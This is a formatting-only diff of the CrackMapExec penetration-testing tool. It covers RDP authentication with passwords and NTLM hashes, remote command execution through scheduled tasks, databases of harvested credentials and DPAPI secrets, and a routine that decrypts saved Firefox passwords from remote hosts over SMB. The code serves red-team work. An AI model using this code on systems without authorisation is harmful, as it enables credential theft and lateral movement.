"Probably old, doesn't not support HYBRID or HYBRID_EX"
f" (nla:{self.nla})"
)
self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX" f" (nla:{self.nla})")
else:
self.logger.display(
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
f" (nla:{self.nla})"
)
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" f" (nla:{self.nla})")
return True
def create_conn_obj(self):
self.target = RDPTarget(
ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout
)
self.auth = NTLMCredential(
secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS
)
self.target = RDPTarget(ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout)
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
self.check_nla()
@ -216,15 +195,9 @@ class rdp(connection):
info_domain = self.conn.get_extra_info()
self.domain = info_domain["dnsdomainname"]
self.hostname = info_domain["computername"]
self.server_os = (
info_domain["os_guess"]
+ " Build "
+ str(info_domain["os_build"])
)
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
break
@ -254,11 +227,7 @@ class rdp(connection):
credentials=self.auth,
)
asyncio.run(self.connect_rdp())
if (
str(proto) == "SUPP_PROTOCOLS.RDP"
or str(proto) == "SUPP_PROTOCOLS.SSL"
or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP"
):
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
self.nla = False
return
except Exception as e:
@ -307,15 +276,11 @@ class rdp(connection):
if not password:
password = getenv("KRB5CCNAME") if not password else password
if "/" in password:
self.logger.fail(
"Kerberos ticket need to be on the local directory"
)
self.logger.fail("Kerberos ticket need to be on the local directory")
return False
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = (
ticketCreds["client"].prettyPrint().decode().split("@")[0]
)
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
@ -334,9 +299,7 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.conn = RDPConnection(
iosettings=self.iosettings, target=self.target, credentials=self.auth
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
self.admin_privs = True
@ -348,12 +311,7 @@ class rdp(connection):
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache"
if useCache
else ":%s"
% (
kerb_pass
if not self.config.get("CME", "audit_mode")
else self.config.get("CME", "audit_mode") * 8
)
else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8)
),
self.mark_pwned(),
)
@ -370,22 +328,11 @@ class rdp(connection):
if word in str(e):
reason = self.rdp_error_status[word]
self.logger.fail(
(
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}"
),
color=(
"magenta"
if (
(reason or "CredSSP" in str(e))
and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN"
)
else "red"
),
(f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
self.logger.success(
f"{domain}\\{username}:{password} {self.mark_pwned()}"
)
self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}")
elif "No such file" in str(e):
self.logger.fail(e)
else:
@ -396,17 +343,8 @@ class rdp(connection):
if "cannot unpack non-iterable NoneType object" == str(e):
reason = "User valid but cannot connect"
self.logger.fail(
(
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}"
),
color=(
"magenta"
if (
(reason or "CredSSP" in str(e))
and reason != "STATUS_LOGON_FAILURE"
)
else "red"
),
(f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@ -418,9 +356,7 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(
iosettings=self.iosettings, target=self.target, credentials=self.auth
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
self.admin_privs = True
@ -431,9 +367,7 @@ class rdp(connection):
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(
f"{domain}\\{username}:{password} {self.mark_pwned()}"
)
self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}")
else:
reason = None
for word in self.rdp_error_status.keys():
@ -442,17 +376,8 @@ class rdp(connection):
if "cannot unpack non-iterable NoneType object" == str(e):
reason = "User valid but cannot connect"
self.logger.fail(
(
f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}"
),
color=(
"magenta"
if (
(reason or "CredSSP" in str(e))
and reason != "STATUS_LOGON_FAILURE"
)
else "red"
),
(f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@ -464,24 +389,18 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(
iosettings=self.iosettings, target=self.target, credentials=self.auth
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
self.admin_privs = True
self.logger.success(
f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}"
)
self.logger.success(f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}")
if not self.args.local_auth:
add_user_bh(username, domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(
f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}"
)
self.logger.success(f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}")
else:
reason = None
for word in self.rdp_error_status.keys():
@ -491,25 +410,14 @@ class rdp(connection):
reason = "User valid but cannot connect"
self.logger.fail(
(
f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}"
),
color=(
"magenta"
if (
(reason or "CredSSP" in str(e))
and reason != "STATUS_LOGON_FAILURE"
)
else "red"
),
(f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
async def screen(self):
try:
self.conn = RDPConnection(
iosettings=self.iosettings, target=self.target, credentials=self.auth
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
return
@ -517,9 +425,7 @@ class rdp(connection):
await asyncio.sleep(int(5))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
)
filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
@ -529,20 +435,14 @@ class rdp(connection):
async def nla_screen(self):
# Otherwise it crash
self.iosettings.supported_protocols = None
self.auth = NTLMCredential(
secret="", username="", domain="", stype=asyauthSecret.PASS
)
self.conn = RDPConnection(
iosettings=self.iosettings, target=self.target, credentials=self.auth
)
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp_old(self.url)
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
)
filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")

View File

@ -49,19 +49,10 @@ class database:
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.CredentialsTable = Table(
"credentials", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):

View File

@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help
class navigator(DatabaseNavigator):
def do_clear_database(self, line):
if (
input(
"This will destroy all data in the current database, are you SURE you want to run this? (y/n): "
)
== "y"
):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):

File diff suppressed because it is too large Load Diff

View File

@ -156,9 +156,7 @@ class TSCH_EXEC:
logging.info(f"Task XML: {xml}")
taskCreated = False
logging.info(f"Creating task \\{tmpName}")
tsch.hSchRpcRegisterTask(
dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE
)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info(f"Running task \\{tmpName}")
@ -184,24 +182,18 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(
os.path.join("/tmp", "cme_hosted", tmpFileName), "r"
) as output:
with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
else:
peer = ":".join(
map(str, self.__rpctransport.get_socket().getpeername())
)
peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
while True:
try:
logging.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}")
smbConnection.getFile(
"ADMIN$", f"Temp\\{tmpFileName}", self.output_callback
)
smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback)
break
except Exception as e:
if str(e).find("SHARING") > 0:

View File

@ -153,40 +153,17 @@ class database:
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.UsersTable = Table(
"users", self.metadata, autoload_with=self.db_engine
)
self.GroupsTable = Table(
"groups", self.metadata, autoload_with=self.db_engine
)
self.SharesTable = Table(
"shares", self.metadata, autoload_with=self.db_engine
)
self.AdminRelationsTable = Table(
"admin_relations", self.metadata, autoload_with=self.db_engine
)
self.GroupRelationsTable = Table(
"group_relations", self.metadata, autoload_with=self.db_engine
)
self.LoggedinRelationsTable = Table(
"loggedin_relations", self.metadata, autoload_with=self.db_engine
)
self.DpapiSecrets = Table(
"dpapi_secrets", self.metadata, autoload_with=self.db_engine
)
self.DpapiBackupkey = Table(
"dpapi_backupkey", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
self.GroupsTable = Table("groups", self.metadata, autoload_with=self.db_engine)
self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine)
self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine)
self.GroupRelationsTable = Table("group_relations", self.metadata, autoload_with=self.db_engine)
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
self.DpapiSecrets = Table("dpapi_secrets", self.metadata, autoload_with=self.db_engine)
self.DpapiBackupkey = Table("dpapi_backupkey", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):
@ -275,9 +252,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(
index_elements=self.HostsTable.primary_key, set_=update_columns
)
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
@ -285,9 +260,7 @@ class database:
cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_credential(
self, credtype, domain, username, password, group_id=None, pillaged_from=None
):
def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""
@ -295,9 +268,7 @@ class database:
credentials = []
groups = []
if (group_id and not self.is_group_valid(group_id)) or (
pillaged_from and not self.is_host_valid(pillaged_from)
):
if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)):
cme_logger.debug(f"Invalid group or host")
return
@ -344,12 +315,8 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
update_columns_users = {
col.name: col for col in q_users.excluded if col.name not in "id"
}
q_users = q_users.on_conflict_do_update(
index_elements=self.UsersTable.primary_key, set_=update_columns_users
)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
cme_logger.debug(f"Adding credentials: {credentials}")
self.conn.execute(q_users, credentials) # .scalar()
@ -408,13 +375,9 @@ class database:
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.userid == user_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id)
elif host_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.hostid == host_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id)
else:
q = select(self.AdminRelationsTable)
@ -454,9 +417,7 @@ class database:
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.username).like(like_term)
)
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
@ -477,15 +438,11 @@ class database:
return results.id
def is_credential_local(self, credential_id):
q = select(self.UsersTable.c.domain).filter(
self.UsersTable.c.id == credential_id
)
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
user_domain = self.conn.execute(q).all()
if user_domain:
q = select(self.HostsTable).filter(
func.lower(self.HostsTable.c.id) == func.lower(user_domain)
)
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
results = self.conn.execute(q).all()
return len(results) > 0
@ -531,10 +488,7 @@ class database:
# if we're filtering by ip/hostname
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(
self.HostsTable.c.ip.like(like_term)
| func.lower(self.HostsTable.c.hostname).like(like_term)
)
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.conn.execute(q).all()
cme_logger.debug(f"smb hosts() - results: {results}")
return results
@ -578,9 +532,7 @@ class database:
q = Insert(self.GroupsTable)
self.conn.execute(q, groups)
new_group_data = self.get_groups(
group_name=group_data["name"], group_domain=group_data["domain"]
)
new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"])
returned_id = [new_group_data[0].id]
cme_logger.debug(f"Inserted group with ID: {returned_id[0]}")
return returned_id
@ -608,9 +560,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.GroupsTable) # .returning(self.GroupsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(
index_elements=self.GroupsTable.primary_key, set_=update_columns
)
q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns)
self.conn.execute(q, groups)
# TODO: always return a list and fix code references to not expect a single integer
@ -648,9 +598,7 @@ class database:
results = self.conn.execute(q).all()
cme_logger.debug(
f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}"
)
cme_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}")
return results
def get_group_relations(self, user_id=None, group_id=None):
@ -660,13 +608,9 @@ class database:
self.GroupRelationsTable.c.groupid == group_id,
)
elif user_id:
q = select(self.GroupRelationsTable).filter(
self.GroupRelationsTable.c.id == user_id
)
q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.id == user_id)
elif group_id:
q = select(self.GroupRelationsTable).filter(
self.GroupRelationsTable.c.groupid == group_id
)
q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id)
results = self.conn.execute(q).all()
return results
@ -730,9 +674,7 @@ class database:
"write": write,
}
share_id = self.conn.execute(
Insert(
self.SharesTable
).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
share_data,
) # .scalar_one()
# return share_id
@ -762,9 +704,7 @@ class database:
def get_users_with_share_access(self, host_id, share_name, permissions):
permissions = permissions.lower()
q = select(self.SharesTable.c.userid).filter(
self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id
)
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id)
if "r" in permissions:
q = q.filter(self.SharesTable.c.read == 1)
if "w" in permissions:
@ -779,9 +719,7 @@ class database:
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkey).filter(
func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain)
)
q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
results = self.conn.execute(q).all()
if not len(results):
@ -792,9 +730,7 @@ class database:
q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id)
self.conn.execute(q, [backup_key]) # .scalar()
cme_logger.debug(
f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})"
)
cme_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
# return inserted_id
except Exception as e:
cme_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
@ -812,10 +748,7 @@ class database:
cme_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [
(id_key, domain, base64.b64decode(pvk))
for id_key, domain, pvk in results
]
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
@ -823,9 +756,7 @@ class database:
Check if this group ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecrets).filter(
func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id
)
q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id)
results = self.conn.execute(q).first()
valid = True if results is not None else False
cme_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
@ -851,18 +782,14 @@ class database:
"password": password,
"url": url,
}
q = Insert(
self.DpapiSecrets
).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id)
q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id)
self.conn.execute(q, [secret]) # .scalar()
# inserted_result = res_inserted_result.first()
# inserted_id = inserted_result.id
cme_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})"
)
cme_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
@ -889,9 +816,7 @@ class database:
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(
func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type)
)
q = q.filter(func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term))
@ -902,9 +827,7 @@ class database:
q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url))
results = self.conn.execute(q).all()
cme_logger.debug(
f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}"
)
cme_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
def add_loggedin_relation(self, user_id, host_id):
@ -920,23 +843,17 @@ class database:
try:
cme_logger.debug(f"Inserting loggedin_relations: {relation}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(
self.LoggedinRelationsTable
) # .returning(self.LoggedinRelationsTable.c.id)
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.conn.execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(user_id, host_id)
cme_logger.debug(
f"Checking if relation was added: {inserted_id_results}"
)
cme_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
except Exception as e:
cme_logger.debug(f"Error inserting LoggedinRelation: {e}")
def get_loggedin_relations(self, user_id=None, host_id=None):
q = select(
self.LoggedinRelationsTable
) # .returning(self.LoggedinRelationsTable.c.id)
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
if user_id:
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
if host_id:

View File

@ -51,9 +51,7 @@ class navigator(DatabaseNavigator):
members = len(self.db.get_group_relations(group_id=group_id))
ad_members = group[4]
last_query_time = group[5]
data.append(
[group_id, domain, name, rid, members, ad_members, last_query_time]
)
data.append([group_id, domain, name, rid, members, ad_members, last_query_time])
print_table(data, title="Groups")
# pull/545
@ -126,12 +124,8 @@ class navigator(DatabaseNavigator):
name = share[3]
remark = share[4]
users_r_access = self.db.get_users_with_share_access(
host_id=host_id, share_name=name, permissions="r"
)
users_w_access = self.db.get_users_with_share_access(
host_id=host_id, share_name=name, permissions="w"
)
users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r")
users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w")
data.append(
[
share_id,
@ -165,12 +159,8 @@ class navigator(DatabaseNavigator):
name = share[3]
remark = share[4]
users_r_access = self.db.get_users_with_share_access(
host_id=host_id, share_name=name, permissions="r"
)
users_w_access = self.db.get_users_with_share_access(
host_id=host_id, share_name=name, permissions="w"
)
users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r")
users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w")
data = [["ShareID", "Name", "Remark"], [share_id, name, remark]]
print_table(data, title="Share")
@ -266,9 +256,7 @@ class navigator(DatabaseNavigator):
creds = self.db.get_credentials(filter_term=userid)
for cred in creds:
data.append(
[cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]
)
data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]])
print_table(data, title="Member(s)")
def help_groups(self):
@ -644,13 +632,7 @@ class navigator(DatabaseNavigator):
print_help(help_string)
def do_clear_database(self, line):
if (
input(
"This will destroy all data in the current database, are you SURE you"
" want to run this? (y/n): "
)
== "y"
):
if input("This will destroy all data in the current database, are you SURE you" " want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):

View File

@ -62,42 +62,24 @@ class FirefoxTriage:
users = self.get_users()
for user in users:
try:
directories = self.conn.remote_list_dir(
share=self.share, path=self.firefox_generic_path.format(user)
)
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [
d
for d in directories
if d.get_longname() not in self.false_positive and d.is_directory() > 0
]:
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
logins_path = (
self.firefox_generic_path.format(user)
+ "\\"
+ d.get_longname()
+ "\\logins.json"
)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = (
self.firefox_generic_path.format(user)
+ "\\"
+ d.get_longname()
+ "\\key4.db"
)
key4_data = self.conn.readFile(
self.share, key4_path, bypass_shared_violation=True
)
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
@ -109,12 +91,8 @@ class FirefoxTriage:
if key is None:
continue
for username, pwd, host in logins:
decoded_username = self.decrypt(
key=key, iv=username[1], ciphertext=username[2]
).decode("utf-8")
password = self.decrypt(
key=key, iv=pwd[1], ciphertext=pwd[2]
).decode("utf-8")
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
if password is not None and decoded_username is not None:
firefox_data.append(
FirefoxData(
@ -154,9 +132,7 @@ class FirefoxTriage:
row = next(cursor)
if row:
global_salt, master_password, _ = self.is_master_password_correct(
key_data=row, master_password=master_password
)
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if global_salt:
try:
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
@ -167,9 +143,7 @@ class FirefoxTriage:
a102 = row[1]
if a102 == CKA_ID:
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(
decoded_a11, master_password, global_salt
)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None:
fh.close()
return key[:24]
@ -185,9 +159,7 @@ class FirefoxTriage:
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(
decoded_item2, master_password, global_salt
)
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
if cleartext_data != "password-check\x02\x02".encode():
return "", "", ""
return global_salt, master_password, entry_salt
@ -199,9 +171,7 @@ class FirefoxTriage:
users = list()
users_dir_path = "Users\\*"
directories = self.conn.listPath(
shareName=self.share, path=ntpath.normpath(users_dir_path)
)
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
@ -264,9 +234,7 @@ class FirefoxTriage:
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac(
"sha256", k, entry_salt, iteration_count, dklen=key_length
)
